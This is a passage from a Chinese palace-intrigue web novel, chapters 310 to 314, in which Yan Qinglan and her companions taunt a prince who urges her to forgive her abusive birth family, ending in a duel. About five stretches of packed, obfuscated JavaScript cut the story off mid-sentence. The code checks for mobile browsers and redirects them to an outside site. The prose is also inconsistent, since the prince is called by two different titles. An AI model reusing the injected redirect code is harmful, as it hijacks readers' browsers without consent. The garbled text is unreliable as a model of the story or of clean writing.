“你……你不会觉得我太粗鲁、太野蛮了吗?我以前听人说,你们男人都喜欢那种温柔贤淑、娇滴滴的姑娘。” “谁说的?” 宋明澜挑了挑眉,一脸不以为然。 “我可不这么认为。难道女子就非得是弱不禁风、手无缚鸡之力的样子吗?” 他指了指不远处的晏清澜和宋溪溪。 “那俩丫头,一个赛一个的厉害,你见哪个像大家闺秀了?” 韩清韵:“……” 倒也不必这么说自己亲妹妹和好姐妹。落日熔金,暮色四合。校场边,一草一木都披上了橘色的光晕。 晏清澜与宋溪溪并肩而立,八皇子韩瑾则好奇地打量着四周,稚嫩的脸上满是新奇。这幅温馨的画面,却因一个人的到来而突生波澜。 来人正是燕王韩承煜。他脸上挂着惯有的温和笑容,步履从容地朝这边走来。 “二哥!”韩瑾眼尖,率先瞧见了来人,脆生生地喊了一声,声音里满是欢喜。 韩承煜笑着应了,走到近前,抬手揉了揉韩瑾的脑袋,动作间尽显兄长对幼弟的宠溺:“今日学得如何?可有偷懒?” 韩瑾撅了撅嘴,带着几分小孩儿的娇憨抱怨道:“我学了剑,可师傅说我太笨,气得吹胡子瞪眼呢。” “不打紧,你年纪尚小,慢慢来便是。”韩承煜温声安抚着。 随后,他才将目光转向晏清澜与宋溪溪,微微颔首,算是打了招呼:“厉姑娘,晏四姑娘。” 宋溪溪心中暗自腹诽:怎么又是他?面上却只是淡淡地点了点头:“吴王殿下在上,小的参见。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551050|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >晏清澜则更为直接,连客套都懒得做,嘴角几不可见地扯了扯,眼神冷漠疏离:“吴王殿下在上,小的参见。” 韩承煜对宋溪溪的冷淡反应并不意外,毕竟这位陆家小姐的性子,京中谁人不知?只是,他看向晏清澜的目光中多了几分探究。这位晏四小姐,似乎比传闻中更加难以接近。 不过,韩承煜向来擅长与女子打交道,他脸上的笑容分毫不减,语气熟络得仿佛与晏清澜早已相识一般:“晏四姑娘今天怎么突然来训练场了?” 晏清澜眼皮都未曾抬一下,声音平淡得听不出一丝波澜:“随便看看。” 韩承煜微微挑眉,顺势接话:“皇宫里的风景真是绝了,晏四姑娘若有兴致,可四处走走。” “谢殿下好意,不过不必了。”晏清澜想也不想地拒绝,语气冷硬。 宋溪溪在一旁暗自偷笑,这韩承煜,怕是要碰一鼻子灰了。 韩承煜倒也不恼,只是状似不经意地又摸了摸韩瑾的脑袋,话锋一转:“厉少将少年英才,本王一直心向往之。” 晏清澜这次倒是没再冷着脸,只是淡淡地“嗯”了一声,表示赞同。 一时间,气氛有些微妙。 韩承煜却像是没有察觉到一般,依旧笑意盈盈地看着晏清澜,似乎在寻找着新的话题:“晏四姑娘平日里可有什么消遣?” 晏清澜眼睫微垂,遮住了眼底的情绪,语气依旧平淡:“没什么特别的,无非是吃吃喝喝。” 这回答,着实出人意料。 韩承煜嘴角的笑容微微一顿,但良好的涵养让他迅速恢复了常态。他故作轻松地笑道:“据说晏四姑娘功夫贼溜,不知可有兴趣与本王切磋一二,点到为止?” 晏清澜终于抬眸,正视着韩承煜,眼神冷冽如冰。她缓缓开口,声音里带着几分不易察觉的冷意:“殿下金尊玉贵,还是算了吧。我这人,打起架来没轻没重,万一伤着了您,那可如何是好?” 她说着,嘴角竟微微勾起一抹弧度,只是那笑意,怎么看怎么让人觉得瘆得慌。 “早些年,北戎那些人不知天高地厚,非要与我动手。我这人,您也知道,一动手就容易上头……”晏清澜顿了顿,语气中带着几分无奈,“结果,一不小心,就送他们见了阎王。 第三百一十章 ” 她脸上的笑容愈发诡异,眼神也变得幽深难测:“我这人,脾气不好,又容易冲动,这都是明摆着的事儿。可有些人,偏偏不听劝,非要往刀口上撞,这能怪谁呢?” 宋溪溪在一旁听得心惊胆战,却又忍不住暗自佩服晏清澜的胆量和机智。她连忙上前一步,紧紧握住晏清澜的手,声音里带着几分担忧:“殿下,阿清姐姐说得没错,您可千万别跟她动手,她这人,认真起来,连自己都害怕。” 韩承煜脸上的笑容终于有些挂不住了,他干笑两声,试图转移话题:“那……晏四姑娘平日里可喜欢读书赏画?” 晏清澜瞥了他一眼,心中暗自冷笑,这人,还真是不到黄河心不死。她毫不客气地回道:“不感兴趣。” “为何?”韩承煜似乎有些不解,追问道,“寻常女子,不都喜欢这些风雅之事吗?” 晏清澜垂眸,目光落在脚边被夕阳染成金色的草叶上,语气中带着几分自嘲:“我大字不识几个。” 这理由,着实有些离谱。 宋溪溪差点没忍住笑出声来,她见韩承煜一脸错愕,连忙开口替晏清澜解释:“殿下有所不知,阿清姐姐幼时身子不好,耽误了启蒙。她识得的字不多,那些文绉绉的东西,更是看不懂了。” 韩承煜显然并不相信这个说辞,他脸上的笑容虽然还在,但眼神已经冷了下来:“晏四姑娘出身名门,还是厉将军收的干闺女,怎会耽误了启蒙?” 晏清澜冷笑一声,索性将庄家的那些腌臜事儿一股脑儿地抖了出来:“晏夫人视我为眼中钉,肉中刺,恨不得我早些**,又怎会让我读书识字?” “她说,像我这样的病秧子,活着都是浪费粮食,还想读书?简直是痴人说梦!” “后来,还是我祖母心疼我,偷偷教我认了几个字。可我那时身子弱,又能学到多少?” “再后来,我被爹娘接回了临川。他们只盼着我能平平安安地长大,便教我习武强身,教我看兵书战策。至于那些诗词歌赋,我不喜欢,他们自然也不会强求。” 她顿了顿,声音里多了几分难以言喻的悲凉。 宋溪溪听得眼眶泛红,她紧紧握着晏清澜的手,声音哽咽:“阿清姐姐,你受委屈了,那个女人,简直不是人!” 韩瑾也听得义愤填膺,他挥舞着小拳头,气呼呼地说道:“对!那个女人不是人!还有你那个爹,也不是个东西!眼睁睁看着你被欺负,连个屁都不敢放!” 他顿了顿,又像是想起了什么,脸上露出几分得意:“不过,清姐姐现在的爹娘都是顶好的人,我可喜欢他们了!” 这话说得前言不搭后语,若是让外人听了,定要一头雾水。可韩瑾却是一脸认真,他歪着脑袋,好奇地看向晏清澜:“清姐姐,你说这世上,会有人喜欢你以前的爹娘吗?” 晏清澜摇了摇头:“谁知道呢,兴许有吧。” 宋溪溪耸了耸肩,语气随意:“这世上,什么样的人都有,保不齐就有人喜欢那样的。” “可跟那样的人混在一起,能是什么好人?”韩瑾皱着眉头,一脸困惑。 宋溪溪没有直接回答,只是意味深长地看了韩承煜一眼,缓缓说道:“古人云,与善人交,如入芝兰之室,久而不闻其香;与恶人交,如入鲍鱼之肆,时间久了都习惯了这味道。八皇子殿下,您说是不是这个理儿?” 小孩子心思单纯,最是听不得这些,立刻就有人要遭殃了。 韩瑾似懂非懂地点了点头,他转过身,一本正经地对韩承煜说道:“二哥,我觉得溪柔姐姐说得对!你以后可得离庄家那些人远点儿!夫子常说,近朱者赤,近墨者黑,别跟他们学坏了啊!” 韩承煜脸上的笑容再也维持不住,彻底僵在了那里。“二哥这是怎么了?脸色这般难看。”韩瑾眨了眨眼,黑白分明的眸子里满是困惑。他歪着头,似乎是努力想要看清韩承煜此刻的神情。 韩承煜只觉得一股闷气直冲脑门,脸色由青转白,又由白转红,跟开了染坊似的。 他僵硬地扯了扯嘴角,努力维持着皇子的风度。 “阿玥莫要胡说。” “二哥没有生气。”才怪! 韩承煜强压下心头的怒火。 他看向韩瑾,这小家伙一脸天真无邪,仿佛刚才那番话真的只是童言无忌。 可韩承煜却知道,有些话,哪怕是小孩子说的,也不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551051|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉以轻心。 尤其是在这**不吐骨头的皇宫里。 “二哥只是……”韩承煜顿了顿,试图找一个合适的说辞。 “只是觉得清姐姐的生父,或许并非你们想的那般不堪。” 他深吸一口气,让自己冷静下来。 “毕竟血浓于水,父女之间,哪有解不开的结?” “这帮人浑身上下都透着一股子邪气,”韩瑾一本正经地打断了韩承煜的话,甚至还煞有介事地吸了吸鼻子,仿佛真的闻到了什么味道似的,“二哥若是跟这群人混久了,也会染上臭味的。” 韩承煜心里咯噔一下,差点没跳起来。 这小兔崽子,是真傻还是装傻? 这种话也是能随便说的吗? “阿玥!”韩承煜的声音不自觉地提高了几分,带着一丝警告的意味。 韩瑾却像没听见似的,自顾自地继续说道:“二哥,大家都觉得清姐亲爹就是个渣男,你为啥还跟他混在一起?” 韩承煜只觉得太阳穴突突直跳。 他强忍着怒气,扯出一个比哭还难看的笑容:“我跟庄家的人没有任何往来。” 他暗自咬牙,这笔账,他记下了! 皇子最忌讳与朝臣过从甚密,韩瑾这话要是传了出去,再被有心人添油加醋一番,他之前的努力,全都得付诸东流。 他不能让这种事情发生! 可是,也不能任由他们把庄家说得一无是处。 他和晏明远可是一根绳上的蚂蚱,苏府要是倒了,对他没有半点好处。 韩承煜的目光落在了晏清澜身上。 她依旧是那副冷若冰霜的样子,眼神里甚至还带着一丝嘲讽。 “晏四姑娘,”韩承煜尽量让自己的语气听起来温和一些,“晏大人和晏夫人或许并非你想象中那般心狠手辣,你与苏府之间,可能存在着一些误会。” 他试图展现自己的风度翩翩,脸上挂着虚伪的笑容。 “常言道,有仇不如解开。这世上,没有不是的父母。母女之间,哪有过不去的坎?” 顿了顿,语气更显诚恳。 “晏四姑娘何不尝试着打开心扉? 第三百一十一章 将那些误会,都摊开来说。积压已久的怨气消散,晏夫人定会悔过,晏大人也会尽力弥补。” 韩承煜的话说得漂亮,仿佛一切都是为了晏清澜好。 “心结若是一直打不开,人也不会快乐,四姑娘觉得呢?” 晏清澜听完,面上毫无波澜,只是缓缓将宋溪溪和韩瑾拉至身后,拉开了与韩承煜的距离。 韩承煜脸上的笑容再也维持不住,彻底僵住。 他看着晏清澜,眼神阴沉。 “晏家四小姐这是什么意思?” “还能是何意?自然是躲着你这‘和事佬’,省得遭雷劈。” 清冷的声音自身后传来,带着几分嘲弄。 韩承煜猛地回头,童玄珏的身影映入眼帘。 阳光下,他脸上的青玉面具泛着冷冽的光。 唇角微勾,似笑非笑。 童玄珏的视线轻飘飘地落在韩承煜身上,即便隔着面具,那股寒意,也让韩承煜如芒在背。 仿佛,自己已经被某种危险的东西盯上了。 啪!啪! 身后响起两声清脆的击掌。 晏清澜眉梢微挑,看向童玄珏,眼神中带着一丝赞赏。 “燕王说的在理,我确实怕遭雷劈。” 她这才转头看向韩承煜,目光冷淡。 “吴王殿下,往后还是谨言慎行的好。” 韩承煜的脸色阴沉得可怕,他紧紧地盯着晏清澜。 终于收起了那副虚伪的笑容。 “晏四姑娘,本王一番好意,你却如此不识好歹。” 他冷哼一声。 “罢了,你若执意如此,本王也无话可说。” 韩承煜心里憋着一口气。 晏清澜的冷漠和疏离,让他感到难堪。 他忽然觉得,庄家人不喜欢晏清澜,也不是没有道理的。 就她这性子,的确不如晏玥玥讨喜。 可他韩承煜的颜面,也不是能随意践踏的。 韩瑾仰起头,眨巴着大眼睛,一脸不解地看着韩承煜。 “二哥,你这是……恼了?” 韩承煜强压着怒火,语气生硬:“并无。” 韩瑾却不依不饶:“可夫子教过我们,为人当‘容人、容物、容事’,‘君子不失足于人’,二哥怎能因清姐姐几句话就动怒呢?” 韩瑾的小脸上写满了困惑,仿佛真的不明白韩承煜为何生气。 那眼神,纯真无邪。 却让韩承煜更加恼火。 这小东西,是在装傻还是真傻? 竟敢拿夫子的话来教训他? “阿玥,”韩承煜的声音冷了下来,“夫子教你的,你都记住了,很好。” 他顿了顿,目光扫过韩瑾,又落在晏清澜身上。 “只是,‘以直报怨,以德报德’,‘人不敬我,是我无才;我不敬人,是我无德’。这些道理,阿玥也当铭记于心。” “晏四姑娘,你说呢?”韩承煜似笑非笑地看着晏清澜。 晏清澜却像是没听见似的,只是低头逗弄着路边不知名的野花,甚至还和宋溪溪讨论起这花的品种。 童玄珏见状,冷笑出声:“燕王这般宽宏大量,不如去给庄家当儿子,岂不美哉?” 这突如其来的一句话,让韩承煜的脸色瞬间变得铁青。 “你!” 晏清澜终于抬起头,脸上带着玩味的笑。 “要我说,吴王殿下也别‘祝’了,不如直接‘做’吧。您这么为庄家着想,想必他们定会欢迎至极。” 韩承煜的脸色一阵红一阵白。 他万万没想到,晏清澜竟然会说出这样的话来。 “晏清澜,你莫要太过分!”韩承煜咬牙切齿。 “过分?”晏清澜挑眉,眼神中满是嘲讽,“我只是顺着吴王殿下的意思往下说罢了,怎就过分了?” “您这般‘善解人意’,难道不是打心眼里觉得庄家好?” 宋溪溪在一旁“扑哧”一声笑了出来。 她摇了摇头,啧啧称奇:“有些人啊,就是喜欢站在道德的至高点上指责别人。当真是‘圣母’降世,普度众生啊!” 韩瑾也跟着叹了口气,老气横秋地说道:“唉,‘鲍鱼之肆’,果然名不虚传。二哥,你可要小心,别被熏臭了!”“阿玥,”韩承煜额角青筋暴跳,像是用尽了全身力气才把那口恶气压下去。他猛地转头,死死盯着那粉雕玉琢、人畜无害的小皇子,一字一顿,咬牙切齿:“圣贤书,你与其念给我,不如去劝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16555246|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诫你的燕王表哥!” 他眼神如刀,狠狠剐过童玄珏,声音冷得像冰碴子:“毕竟,论小肚鸡肠,睚眦必报,这儿谁能比得过他?” 这话,明着是骂韩瑾双标,实则把童玄珏贬得一文不值,说他心胸狭隘,不是个东西。 平日里,韩承煜断不至于如此失态。可今儿这局面,晏清澜几句话就差点把他送走,偏偏在场的几位,个个伶牙俐齿,没一个省油的灯。 韩瑾歪着小脑袋,眨巴着无辜的大眼睛,肉嘟嘟的小手一摊,那耿直劲儿让人恨不得把他塞回娘胎重造:“可表哥他本来就不是什么好人呀,也没人把他当君子看吧?外头不都说他心狠手辣,冷血无情吗?” 他嘟嘟囔囔,声音不大,却足以让在场的人听得一清二楚:“倒是二哥你,平日里总喜欢拿圣人的尺子量自己……” 这话翻译过来就是:童玄珏坏得光明正大,你韩承煜又当又立,当了婊/子还要给自己立贞节牌坊。 晏清澜一个没忍住,“扑哧”一声笑了出来。这八皇子是真的有点东西,小小年纪就掌握了含沙射影、指桑骂槐的精髓。 童玄珏面无表情地扫了韩瑾一眼,眼底飞快地掠过一丝无奈。这小兔崽子,别的没学会,倒是把他噎**不偿命的本事学了个十成十。 不过……韩瑾这话说得倒也没错,他确实跟“君子”二字八竿子打不着。 韩承煜被噎得眼前发黑,差点一口气没上来。 晏清澜双手环胸,斜睨着他,红唇轻启,慢条斯理地开口:“吴王殿下往后还是别这么当面一套,背后一套了。‘己所不欲,勿施于人’,您瞧,连八皇子都明白的道理,您怎么就不懂呢?” 她像是突然想起什么似的,“呀”了一声,故作惊讶地睁大了眼睛:“不会吧?我就是说了几句实话而已,吴王殿下这就恼羞成怒了?” 晏清澜摇了摇头,语气里明明白白写着“你这人心眼怎么这么小”:“殿下既然看我不顺眼,那不如手底下见真章。先前您不是一直想与我切磋吗?” 她微微一顿,语气陡然一转,带着几分挑衅:“咱们女人,向来是拳头底下论高低。大佬看起来不太高兴啊,只管发泄出来。不然,您要是一时气血上涌,有个三长两短,这黑锅岂不是要我来背? 第三百一十二章 ” “您方才那般道德**,我可是一句话都没说。您可倒好,自己把自己气出个好歹,倒成了我的不是。这算哪门子的道理?” 她一句接一句的“心胸狭隘”,就像一把把锋利的刀子,狠狠地扎在韩承煜的心窝子上。 韩承煜什么时候被人这样当面羞辱过?偏偏晏清澜之前那番“六亲不认”的说辞还言犹在耳,让他投鼠忌器。他深吸一口气,强压下心头的怒火,冷笑道:“晏四姑娘不是说,比试的时候六亲不认吗?本王怎么知道,你是不是想借机报复?” 童玄珏在一旁优哉游哉地看戏,嘴角微微勾起,带着几分玩味:“签个生死状,不就得了。” 韩瑾仰起小脸,一脸认真地看着韩承煜,语气里透着一股不容置疑的肯定:“二哥,你还是别跟清姐姐打了,你不是她的对手。” 宋溪溪看得津津有味,也忍不住插科打诨。她故作严肃地点了点头,转而又摇了摇头,满脸担忧地看向晏清澜:“阿清,你可不能以大欺小。虽说二皇子肯定不是你的对手,可他怕死也没什么不对。” 她顿了顿,压低了声音,神秘兮兮地凑到晏清澜耳边:“我可听说,有些人看着人模狗样,其实中看不中用。” 宋溪溪叹了口气,语重心长:“人嘛,总归是惜命的。我能理解吴王殿下,这回我站他。” 她这一番话,看似在替韩承煜说话,实则把他贬得一无是处。 韩承煜气得七窍生烟,差点当场暴走。他紧紧地咬着牙,强迫自己冷静下来:“晏四姑娘这话是什么意思?本王何时说过贪生怕**?” 他眼神闪烁,语气中带着一丝威胁:“反倒是晏四姑娘,口口声声说比试容易出人命。万一父皇怪罪下来,你担待得起吗?” “本王敢与晏四姑娘比试,只是不知道,晏四姑娘有没有胆子承担后果。” 这话里的威胁之意,再明显不过。韩承煜无非是想说,他要真有个三长两短,晏清澜也别想好过,景元帝不会放过她。 晏清澜在心里冷笑,真是输不起。打不过就搬家长,小孩子过家家吗? 童玄珏似乎觉得这戏还不够精彩,懒洋洋地开了口,语气中带着几分漫不经心:“若真是立了生死状,想来舅舅也不会怪罪。” 他微微眯起眼睛,眼神在韩承煜身上逡巡,像是在评估他的价值:“就是不知道,堂堂的吴王殿下,有没有这个胆量签了。” 生死状这玩意,熟能生巧。 晏清澜抬眸看了童玄珏一眼,语气平静:“臣女自然是敢签的。” 她算是看透了童玄珏这人的本质,唯恐天下不乱。当初她和周雨柔那场闹剧,不就是他一手策划的? 童玄珏敏锐地捕捉到她眼神中的一丝不满,心里微微一沉。这丫头,该不会是记恨上他了吧? 他轻咳一声,试图把火引到韩承煜身上,笑眯眯地看着他:“晏四姑娘都这么说了,韩承煜,你呢?” 他顿了顿,语气中带着一丝挑衅:“其实,你也不一定输。毕竟,谁也没见过晏四姑娘正儿八经地跟人动手。” 除了韩瑾。 宋溪溪暗自补充:你们没见过,不代表我没见过。阿清姐姐和她大哥,那可是从小打到大的交情,三天一小架,五天一大架。 当然,这俩人偶尔也会耍点小聪明,玩点苦肉计。但真要动起手来,还真不好说谁输谁赢。 至于韩承煜嘛……宋溪溪上上下下打量了他一番,眼神里充满了质疑。就他这小身板,恐怕还不够阿清姐姐一拳头揍的。 韩承煜冷哼一声:“本王有何不敢?” 他心里飞快地盘算着,这倒是个试探晏清澜虚实的好机会。 如果她只是个绣花枕头,那自然不足为惧。 可如果晏清澜真有几分本事,那他今日的失态,倒也算不得什么。 原本他还对童玄珏的推波助澜十分不满,现在却觉得,这场比试,或许还有点意外收获。 至于生死状,他自然是敢签的。难不成,晏清澜还真敢光天化日之下,要了他的命?除非她活腻了。 童玄珏挑了挑眉,似乎觉得还不够热闹,又加了一把柴:“既然是比试,总得有个彩头才有趣。” 韩承煜瞥了童玄珏一眼,心里跟明镜似的,知道这家伙又在憋什么坏水。 他才不会让童玄珏如愿,于是面无表情地开口:“赌注就免了吧,本王还不至于欺负一个弱女子。” “既然是切磋,点到为止即可。要是晏四姑娘败下阵来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16555247|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就去苏府,给晏大人和晏夫人赔个礼,道个歉,这事儿就算了了。”“晏清澜,你可真会给本王出难题。” 韩承煜咬着后槽牙,一字一顿,每个字都像裹挟着冰碴子。 他原本打的什么算盘? 借比试探一探晏清澜的底,再顺水推舟让她给苏府递个梯子,也算全了各方的面子。 谁料这丫头软硬不吃! 晏清澜脸上堆着笑,心里冷哼。 她指尖轻敲鼻梁,目光跟小刷子似的在韩承煜身上来回扫。 “吴王殿下这话说的,不知道的还以为我拿刀架您脖子上了。” 她顿了顿,故作为难。 “这样,我也不为难您。您要是输了,就劳驾移步长乐宫门口,给皇上好好认个错。” 晏清澜眨了眨眼,语气真诚。 “就说您辜负了圣恩,没能长进成人,往后一定痛改前非,绝不让陛下再操心。这要求,不过分吧?” 韩承煜太阳穴突突直跳,一股邪火蹭蹭往上窜。 真要依了她,自己这脸还往哪儿搁?往后还不得被那帮兄弟们笑死! 他眯起眼,死死盯着晏清澜,目光像淬了毒的刀子。 “晏四姑娘,咱们凡事好商量,何必非要争个你死我活?” 他语气稍缓,试图讲道理。 “你要是不满意,咱们大可再议。” 晏清澜双手一摊,无辜写了满了脸。 “我可没说不满意。” 她撇了撇嘴,语气带刺。 “怎么,就准您说我忤逆不孝,对不住庄家,不准我说您有负皇恩?” “吴王殿下,您这双标的戏码演得挺溜啊!” 她故意拖长了调子,话里话外都是嘲讽。 话锋陡然一转,她挑眉。 “还是说,在您心里,您自个儿无可挑剔,没半点对不住陛下的?” “您就是皇子堆儿里最拔尖、最省心的,打小就没让皇上操过心,是陛下心尖尖上的宝贝疙瘩?” 这话可就诛心了! 韩承煜额角青筋暴起,眉心突突狂跳。 童玄珏看热闹不嫌事大,顺势添柴。 “没准儿啊,人家燕王就这么想的呢。 第三百一十三章 不然哪儿来的闲工夫,掺和人家的家务事?” 韩瑾歪着小脑袋瓜,满脸不解。 “二哥为啥生气捏?明明清姐姐提的要求,和你说的差不多嘛。” 他晃了晃脑袋,声音软糯。 “不就是把道歉的人,换成二哥你自个儿了么?” 宋溪溪笑眯眯地剥着瓜子壳,随口接话: “这你就不懂了吧,小屁孩儿。” 她朝韩瑾挤挤眼。 “这人哪,都一样。刀子不落自己个儿身上,永远不知道疼。” 宋溪溪轻哼一声,语气陡然一变,带了几分不屑。 “说一千道一万,还不是欺软怕硬?” “我看这比试也别比了,没劲透了。” 她朝地上啐了一口。 “还不如回家看戏呢,最起码戏子演得真,不让人犯恶心。” 韩瑾小鸡啄米似的点头,边点头边往旁边挪,离韩承煜远远的。 晏清澜耸了耸肩,一脸扫兴。 “行了,没意思。咱们走吧,跟这种人较什么真儿。” 她撇了撇嘴,一副“不值当”的模样。 “做人嘛,最重要的就是要有自知之明,不能强求。” 童玄珏眼中划过一丝讥诮,声音不高不低,却足以让在场的每个人听得清清楚楚。 “可不是么,跟戏台子上那些个跳梁小丑似的,徒惹人笑。” 他轻笑一声,那笑声里满是轻蔑和嘲弄。 韩承煜气得浑身发抖,却又不得不强压下这口恶气。 他不能让晏清澜就这么走了,他还得探探这丫头的深浅。 他深吸一口气,扯出一抹比哭还难看的笑。 “晏四姑娘误会了,本王可没说不比。” 晏清澜挑眉,似笑非笑地看着他。 “来场生死对决吧。” 她顿了顿,语气随意。 “刀剑无眼,伤了残了,可别怨天尤人。” 韩承煜不觉得晏清澜有那本事伤到他。 童玄珏慢悠悠地开口,像是在提醒,又像是在火上浇油: “我瞧着燕王这人,不像是能吃哑巴亏的主儿。” “晏四姑娘,你可得想清楚了。这要是真动起手来,有个闪失……” 韩承煜猛地转头,恶狠狠地瞪了童玄珏一眼。 “童玄珏,你少在这儿挑拨离间!” 他转向晏清澜,语气生硬。 “真要有个三长两短,本尊甘拜下风,与你无关!” 童玄珏不置可否,只是看着晏清澜,目光意味深长。 晏清澜微微一笑,眼中闪过一丝狡黠。 “既然如此,那咱们就走吧。” 几人朝演武场走去。 这演武场平日里是皇亲贵胄、武将子弟们切磋武艺的地方。 女眷们比试也有,但极少。 像今日这般,男女对决,还是破天荒头一回。 到了演武场,韩承煜率先挑了把长剑。 晏清澜扫了一眼兵器架,最终选了条九节鞭。 那鞭子上缀满了寒光闪闪的倒刺,瞧着就让人心惊胆战。 三皇子咋咋呼呼地凑过来,满脸看好戏的兴奋。 “晏四姑娘,你这可就托大了啊!” 他指着韩承煜手里的长剑。 “我二哥的剑法,那可是在御前都挂了号的。你拿鞭子,怕是讨不着好。” 四皇子也跟着起哄。 “就是,这万一真有个好歹,可不是闹着玩儿的。” 他朝韩承煜挤挤眼。 “二哥,你可得手下留情啊,别真把人给打坏了。” 韩承煜懒得理这俩活宝,只盯着晏清澜。 “晏四姑娘,我劝你还是换个兵器。” 晏清澜把鞭子在手里掂了掂,笑得漫不经心。 “不必了,这鞭子挺趁手。” 韩承煜见她油盐不进,也懒得多费口舌,他自信晏清澜不是自己的对手。 韩瑾紧挨着童玄珏,小声问: “表哥,你说清姐姐为啥非要选鞭子呀?” “她不是最擅长用枪的么?” 童玄珏淡淡道:“看着便是。” 他心里跟明镜似的,晏清澜这是存心要给韩承煜一个下马威。 宋明澜头疼地看着自家妹子。 “宋溪溪,你可真行啊!” 他指着演武场上的两人。 “这才几天工夫,你就撺掇着阿清跟燕王打起来了?” “你们这是要上天啊!” 宋溪溪满不在乎地摆摆手。 “安啦安啦,姐姐肯定平安无事。” 宋明澜没好气地瞪了她一眼。 “我当然知道她不会有事!我是怕她下手没轻没重,把韩承煜给打出个好歹来!” 宋溪溪缩了缩脖子。 “不会的不会的,阿清姐姐心里有数。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16558579|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >韩清韵也怯生生地开口: “晏四姑娘看着不像那么冲动的人……” 她偷偷瞟了童玄珏一眼,心想,即便发生意外,不是还有这位爷顶着么? 宋明澜揉了揉眉心,实在搞不懂这几个人在想什么。 “燕王到底怎么得罪你们了?非得闹到这个地步?” 宋溪溪撇了撇嘴,把事情原委说了一遍。 宋明澜听完,沉默半晌。 “算了,打就打吧,省得看着心烦。”演武台上,气氛凝滞,落针可闻。 韩承煜将长剑缓缓归鞘,“呛啷”一声,打破了这令人窒息的寂静。他脸上依旧是那副温文尔雅的笑,只是眼底,多了几分不易察觉的算计: “晏四姑娘,请。” 晏清澜连眼皮都懒得抬,只淡淡地“嗯”了一声,敷衍至极。 话音未落,剑已出鞘。 韩承煜的身形如猛虎出笼,剑尖直指晏清澜的眉心,又快又狠。 晏清澜却像早有预料,就在剑尖将至的瞬间,她脚尖轻点,身形一晃,已然出现在韩承煜身后。 “唰——” 她手中的九节鞭,如毒蛇吐信,朝韩承煜的后背抽去,带着凌厉的风声。 韩承煜反应极快,腰身一拧,险之又险地避开了这一击。 他手腕一转,剑锋回转,如跗骨之蛆,再次向晏清澜刺去。 晏清澜却不慌不忙,身形再闪,鞭影翻飞,整个人如同风中柳絮,轻盈灵动。浅色衣裙随着她的动作翩翩起舞,当真好看。 韩承煜的剑招凌厉,却始终无法触及晏清澜分毫,每一次攻击都像打在了棉花上。 台下,众人看得眼花缭乱,议论声渐起。 “这都多久了,怎么还没结果?” “燕王这是在让着晏四姑娘?” “让?让招能让小半个时辰?顶多让上几招,不让她输得太难看罢了。” 皇子中也有几个不通武艺的,只能干着急。 而那些深谙此道的人,眼神却渐渐变得玩味。 宋明澜抱着剑,手肘轻轻碰了碰身旁的韩清韵: “看出什么没?” 韩清韵微微颔首,看向韩承煜的目光中带着一丝同情,甚至还有几分幸灾乐祸: “阿清姐这是在戏耍二哥呢,让他自己乱了阵脚。现在看着是平手,但你等着瞧……” 她说到这里,故意顿了顿。 韩清韵和韩承煜关系淡漠。 第三百一十四章 因为贤妃的缘故,韩清韵心底还暗暗希望晏清澜能给韩承煜一个教训。 宋明澜心中了然,说话也更直接了些,语气中带着几分调侃: “活该!谁让他没事找事。” 他故作惋惜地叹了口气: “真是自作孽。” 演武场上,局势瞬息万变。 原本一直采取守势的晏清澜,突然之间,变了。 如果说之前的她,像是在逗弄猎物的猫,那么此刻,她就是露出了獠牙的猛虎。 她的眼神变得锐利而冰冷,鞭影如灵蛇出洞,直击韩承煜的命门。 